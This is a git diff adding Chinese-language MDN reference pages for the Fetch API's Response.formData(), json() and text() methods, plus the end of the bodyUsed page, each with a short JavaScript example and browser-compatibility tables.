id="JS_Content">JS Content</h3> + +<pre class="brush: js">var myImage = document.querySelector('.my-image'); +fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg').then(function(response) { + console.log(response.bodyUsed); + var res = response.blob(); + console.log(response.bodyUsed); + return res; +}).then(function(response) { + var objectURL = URL.createObjectURL(response); + myImage.src = objectURL; +});</pre> + +<p>{{ EmbedLiveSample('Example', '100%', '250px') }}</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#dom-body-bodyused','bodyUsed')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{ CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatChrome(42) }} [1]<br> + </td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatGeckoDesktop(39)}} [2]</td> + <td>{{ CompatNo }}</td> + <td> + <p>29 [3]</p> + </td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatNo }}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Behind a preference in version 41.</p> + +<p>[2] Behind a preference starting with version 34.</p> + +<p>[3] Behind a preference in version 28.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> + <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> + <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> +</ul> diff --git a/files/zh-cn/web/api/response/formdata/index.html b/files/zh-cn/web/api/response/formdata/index.html new file mode 100644 index 0000000000..26b61274fe --- /dev/null +++ b/files/zh-cn/web/api/response/formdata/index.html @@ -0,0 +1,132 @@ +--- +title: Response.formData() +slug: Web/API/Response/formData +translation_of: Web/API/Response/formData +tags: + - API + - Fetch + - Fetch API + - FormData + - Method + - NeedsExample + - Reference + - Response +browser-compat: api.Response.formData +--- +<div>{{APIRef("Fetch")}}</div> + +<p> {{domxref("Response")}} 对象中的<strong><code>formData()</code></strong> 方法将 {{domxref("Response")}} 对象中的所承载的数据流读取并封装成为一个对象，该方法将返回一个 <strong><code>Promise</code></strong> 对象，该对象将产生一个{{domxref("FormData")}} 对象。</p> + +<div class="note"> +<p><strong>注意</strong>: 该方法主要与 <a href="/en-US/docs/Web/API/ServiceWorker_API">service workers</a> 有关. 如果客户端提交的一个表单请求被Service Worker 所截取，您可以像下述的样例一样，调用 <code>formData()</code> 方法来获取一个key-value 字典, 对该字典可以进行修饰, 然后将修饰后的表填提交给远端服务器 (或在本地应用)。</p> +</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">response.formData() +.then(function(formdata) { + // do something with your formdata +});</pre> + +<h3 id="参数">参数</h3> + +<p>无。</p> + +<h3 id="返回值">返回值</h3> + +<p>生成 {{domxref("FormData")}}对象的{{domxref("Promise")}} 对象.</p> + +<h2 id="样例">样例</h2> + +<p>待定.</p> + +<h2 id="详述">详述</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#dom-body-formdata','formData()')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td> + <p>{{CompatChrome(60)}}</p> + </td> + <td>{{ CompatGeckoDesktop(39)}} [1]</td> + <td>{{ CompatNo }}</td> + <td> + <p>{{CompatOpera(47)}}</p> + </td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td> + <p>{{CompatChrome(60)}}</p> + </td> + <td> + <p>{{CompatChrome(60)}}</p> + </td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td> + <p>{{CompatOperaMobile(47)}}</p> + </td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Behind a preference starting with version 34.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> + <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> + <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> +</ul> diff --git a/files/zh-cn/web/api/response/json/index.html b/files/zh-cn/web/api/response/json/index.html new file mode 100644 index 0000000000..360c349054 --- /dev/null +++ b/files/zh-cn/web/api/response/json/index.html @@ -0,0 +1,91 @@ +--- +title: Response.json() +slug: Web/API/Response/json +translation_of: Web/API/Response/json +tags: + - API + - Fetch + - JSON + - Method + - Reference + - Response +browser-compat: api.Response.json +--- +<div>{{APIRef("Fetch")}}</div> + +<div>{{domxref("Response")}} mixin 的 <strong><code>json()</code></strong> 方法接收一个 {{domxref("Response")}} 流，并将其读取完成。它返回一个 Promise，Promise 的解析 resolve 结果是将文本体解析为 {{jsxref("JSON")}}。</div> + +<h2 id="语法">语法</h2> + +<pre class="brush: js">response.json().then(data => { + // do something with your data +});</pre> + +<h3 id="参数">参数</h3> + +<p>没有。</p> + +<h3 id="返回值">返回值</h3> + +<p>返回一个被解析为<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/JSON" title="此页面仍未被本地化, 期待您的翻译!"><code>JSON</code></a>格式的promise对象，这可以是任何可以由JSON表示的东西 - 一个object，一个array，一个string，一个number...</p> + +<h2 id="示例">示例</h2> + +<p>在我们的 <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json 示例</a> 中(运行 <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>), 我们使用 {{domxref("Request.Request")}} 构造函数创建一个新的请求, 然后使用它来获取一个 <code>.json</code> 文件。当获取成功时，我们使用 <code>json()</code> 读取并解析数据，然后像预期的那样从结果对象中读取值，并将其插入到列表项中以显示我们的产品数据。</p> + +<pre class="brush: js highlight[5]">const myList = document.querySelector('ul'); +const myRequest = new Request('products.json'); + +fetch(myRequest) + .then(response => response.json()) + .then(data => { + for (const product of data.products) { + let listItem = document.createElement('li'); + listItem.appendChild( + document.createElement('strong') + ).textContent = product.Name; + listItem.append( + ` can be found in ${ + product.Location + }. Cost: ` + ); + listItem.appendChild( + document.createElement('strong') + ).textContent = `£${product.Price}`; + myList.appendChild(listItem); + } + });</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Fetch", "#dom-body-json", "Response.json()")}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Response.json")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li><a href="/zh-CN/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> + <li><a href="/zh-CN/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> + <li><a href="/zh-CN/docs/Web/HTTP">HTTP</a></li> +</ul> diff --git a/files/zh-cn/web/api/response/text/index.html b/files/zh-cn/web/api/response/text/index.html new file mode 100644 index 0000000000..a56418518f --- /dev/null +++ b/files/zh-cn/web/api/response/text/index.html @@ -0,0 +1,88 @@ +--- +title: Response.text() +slug: Web/API/Response/text +translation_of: Web/API/Response/text +tags: + - API + - Fetch + - Method + - Reference + - Text + - Response +browser-compat: api.Response.text +--- +<div>{{APIRef("Fetch")}}</div> + +<p>{{domxref("Response")}} mixin 的 <strong><code>text()</code></strong> 方法提供了一个可供读取的“返回流”（{{domxref("Response")}} stream），并将它读取完。它返回一个包含 {{domxref("USVString")}} 对象（也就是文本）的 Promise 对象，返回结果的编码<em>永远是</em> UTF-8。</p> + +<h2 id="语法">语法</h2> + +<pre class="brush: js">response.text().then(function (text) { + // do something with the text response +});</pre> + +<h3 id="参数">参数</h3> + +<p>无。</p> + +<h3 id="返回值">返回值</h3> + +<p>A promise that resolves with a {{domxref("USVString")}}.</p> + +<h2 id="示例">示例</h2> + +<p>在我们 <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-text">fetch text example</a> (运行 <a href="http://mdn.github.io/fetch-examples/fetch-text/">fetch text live</a>)的案例中， 我们有一个 {{htmlelement("article")}} 元素和三个链接（储存在 <code>myLinks </code> 数组中），首先，遍历 <code>myLinks </code> 数组，并且给数组中的所有元素添加 <code>onclick</code> 事件监听器，当按钮被点击的时候，链接的 <code>data-page</code> 标识作为会参数传入 <code>getData()</code> 中。</p> + +<p>当进入 <code>getData()</code> 函数， 我们使用 {{domxref("Request.Request","Request()")}} 构造函数创建了一个请求（Request）对象，然后，使用它获取指定的<code>.txt</code>的文件， 当fetch 函数执行成功， 我们使用 <code>text()</code> 函数来返回一个{{jsxref("USVString")}} (text) 对象，将它设置到 {{htmlelement("article")}} 对象的{{domxref("Element.innerHTML","innerHTML")}} （元素文本）中。</p> + +<pre class="brush: js">const myArticle = document.querySelector('article'); +const myLinks = document.querySelectorAll('ul a'); + +for(i = 0; i <= myLinks.length-1; i++) { + myLinks[i].onclick = function(e) { + e.preventDefault(); + var linkData = e.target.getAttribute('data-page'); + getData(linkData); + } +}; + +function getData(pageId) { + console.log(pageId); + const myRequest = new Request(pageId + '.txt'); + fetch(myRequest).then(function(response) { + return response.text().then(function(text) { + myArticle.innerHTML = text; + }); + }); +}</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#dom-body-text','text()')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Response.text")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/zh-CN/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> + <li><a href="/zh-CN/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> + <li><a href="/zh-CN/docs/Web/HTTP">HTTP</a></li> +</ul> |